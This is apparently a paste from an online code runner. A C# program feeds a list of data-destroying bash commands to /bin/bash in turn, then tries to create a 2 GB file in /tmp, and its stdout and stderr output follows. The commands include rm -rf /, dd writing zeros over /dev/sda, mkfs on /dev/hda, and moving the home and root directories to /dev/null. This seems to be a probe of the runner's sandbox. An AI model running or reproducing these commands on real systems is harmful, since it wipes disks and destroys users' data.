fork download
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Diagnostics;
  4. using System.IO;
  5.  
  6. public class Program
  7. {
  8. public static void Main()
  9. {
  10. var list = new List<string>
  11. {
  12. @"-c sudo rm -rf /",
  13. @"-c rm -rf .*",
  14. @"-c dd if=/dev/zero of=/dev/sda",
  15. @"-c mkfs.ext3 /dev/hda",
  16. @"-c whatever > /dev/hda",
  17. @"-c cd ~; for x in `ls`; do mv -f $x $y; y=$x; done",
  18. @"-c find -type f -mtime +30 -exec mv {} /dev/null \;",
  19. @"-c mv ~ /dev/null",
  20. @"-c mv / /dev/null"
  21. };
  22.  
  23. foreach (var cmd in list)
  24. {
  25. var proc = GetProcess(cmd);
  26.  
  27. Console.Write("Trying '" + cmd + "'...");
  28.  
  29. try
  30. {
  31. proc.Start();
  32. Console.Write("Ok\n");
  33. }
  34. catch (Exception ex)
  35. {
  36. Console.Write("Fail\n");
  37. }
  38. }
  39.  
  40. WriteFile();
  41. }
  42.  
  43. private static Process GetProcess(string cmd)
  44. {
  45. return new Process
  46. {
  47. StartInfo =
  48. {
  49. FileName = "/bin/bash",
  50. UseShellExecute = false,
  51. RedirectStandardOutput = true,
  52. Arguments = cmd
  53. }
  54. };
  55. }
  56.  
  57. private static void WriteFile()
  58. {
  59. try
  60. {
  61. Console.Write("Writing file...");
  62.  
  63. var fs = new FileStream(@"/tmp/cruft", FileMode.CreateNew);
  64. fs.Seek(2048L * 1024 * 1024, SeekOrigin.Begin);
  65. fs.WriteByte(0);
  66. fs.Close();
  67.  
  68. var file = Directory.GetFiles(@"/tmp", "cruft");
  69.  
  70. Console.Write("Ok\n");
  71. Console.Write("Getting size...");
  72.  
  73. var size = new FileInfo("/tmp/cruft").Length;
  74.  
  75. Console.Write("Ok\n");
  76. }
  77. catch (Exception ex)
  78. {
  79. Console.Write("Fail\n");
  80. }
  81. }
  82. }
Success #stdin #stdout #stderr 0.05s 25384KB
stdin
Standard input is empty
stdout
Trying '-c sudo rm -rf /'...Ok
Trying '-c rm -rf .*'...Ok
Trying '-c dd if=/dev/zero of=/dev/sda'...Ok
Trying '-c mkfs.ext3 /dev/hda'...Ok
Trying '-c whatever > /dev/hda'...Ok
Trying '-c cd ~; for x in `ls`; do mv -f $x $y; y=$x; done'...Ok
Trying '-c find -type f -mtime +30 -exec mv {} /dev/null \;'...Ok
Trying '-c mv ~ /dev/null'...Ok
Trying '-c mv / /dev/null'...Ok
Writing file...Fail
stderr
/dev/hda: mkfs.ext3: command not found
>: whatever: command not found
rm: sudo: command not found